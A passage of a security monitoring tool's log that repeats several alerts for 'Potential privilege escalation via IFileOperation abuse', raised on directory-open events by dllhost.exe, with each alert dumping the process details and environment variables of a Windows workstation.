Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-20T16:21:11+01:00 level=info msg=sending alert: [Potential privilege escalation via IFileOperation abuse]. Text: Event(s): + Seq: 402687 + Pid: 10680 + Tid: 19480 + Type: CreateFile + CPU: 7 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-20 16:21:06.3997877 +0100 CET + Params: attributes➜ DIRECTORY|NORMAL, create_disposition➜ OPEN, create_options➜ DIRECTORY_FILE|SYNCHRONOUS_IO_NONALERT|FOR_BACKUP_INTENT, file_object➜ ffffc38b88438340, file_path➜ C:\Windows\System32\, irp➜ ffffc38b817900f8, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 19480, type➜ Directory + Metadata: rule.name: Potential privilege escalation via IFileOperation abuse, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 10680 + Ppid: 1176 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-20T16:21:11+01:00 level=info msg=sending alert: [Potential privilege escalation via IFileOperation abuse]. Text: Event(s): + Seq: 402687 + Pid: 10680 + Tid: 19480 + Type: CreateFile + CPU: 7 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-20 16:21:06.3997877 +0100 CET + Params: attributes➜ DIRECTORY|NORMAL, create_disposition➜ OPEN, create_options➜ DIRECTORY_FILE|SYNCHRONOUS_IO_NONALERT|FOR_BACKUP_INTENT, file_object➜ ffffc38b88438340, file_path➜ C:\Windows\System32\, irp➜ ffffc38b817900f8, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 19480, type➜ Directory + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.name: Potential privilege escalation via IFileOperation abuse, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 10680 + Ppid: 1176 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-20T16:21:11+01:00 level=info msg=sending alert: [Potential privilege escalation via IFileOperation abuse]. Text: Event(s): + Seq: 402699 + Pid: 10680 + Tid: 19480 + Type: CreateFile + CPU: 7 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-20 16:21:06.4000726 +0100 CET + Params: attributes➜ DIRECTORY|NORMAL, create_disposition➜ OPEN, create_options➜ DIRECTORY_FILE|SYNCHRONOUS_IO_NONALERT|FOR_BACKUP_INTENT, file_object➜ ffffc38b884355f0, file_path➜ C:\Windows\, irp➜ ffffc38b855f60f8, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 19480, type➜ Directory + Metadata: rule.name: Potential privilege escalation via IFileOperation abuse, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 10680 + Ppid: 1176 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-20T16:21:11+01:00 level=info msg=sending alert: [Potential privilege escalation via IFileOperation abuse]. Text: Event(s): + Seq: 402699 + Pid: 10680 + Tid: 19480 + Type: CreateFile + CPU: 7 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-20 16:21:06.4000726 +0100 CET + Params: attributes➜ DIRECTORY|NORMAL, create_disposition➜ OPEN, create_options➜ DIRECTORY_FILE|SYNCHRONOUS_IO_NONALERT|FOR_BACKUP_INTENT, file_object➜ ffffc38b884355f0, file_path➜ C:\Windows\, irp➜ ffffc38b855f60f8, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 19480, type➜ Directory + Metadata: rule.name: Potential privilege escalation via IFileOperation abuse, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 10680 + Ppid: 1176 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-20T16:21:11+01:00 level=info msg=sending alert: [Potential privilege escalation via IFileOperation abuse]. Text: Event(s): + Seq: 402714 + Pid: 10680 + Tid: 19480 + Type: CreateFile + CPU: 7 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-20 16:21:06.4003233 +0100 CET + Params: attributes➜ DIRECTORY|NORMAL, create_disposition➜ OPEN, create_options➜ DIRECTORY_FILE|SYNCHRONOUS_IO_NONALERT|FOR_BACKUP_INTENT, file_object➜ ffffc38b88439920, file_path➜ C:\, irp➜ ffffc38b817900f8, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 19480, type➜ Directory + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.name: Potential privilege escalation via IFileOperation abuse, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 10680 + Ppid: 1176 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-20T16:21:11+01:00 level=info msg=sending alert: [Potential privilege escalation via IFileOperation abuse]. Text: Event(s): + Seq: 402714 + Pid: 10680 + Tid: 19480 + Type: CreateFile + CPU: 7 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-20 16:21:06.4003233 +0100 CET + Params: attributes➜ DIRECTORY|NORMAL, create_disposition➜ OPEN, create_options➜ DIRECTORY_FILE|SYNCHRONOUS_IO_NONALERT|FOR_BACKUP_INTENT, file_object➜ ffffc38b88439920, file_path➜ C:\, irp➜ ffffc38b817900f8, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 19480, type➜ Directory + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.name: Potential privilege escalation via IFileOperation abuse, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 10680 + Ppid: 1176 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files 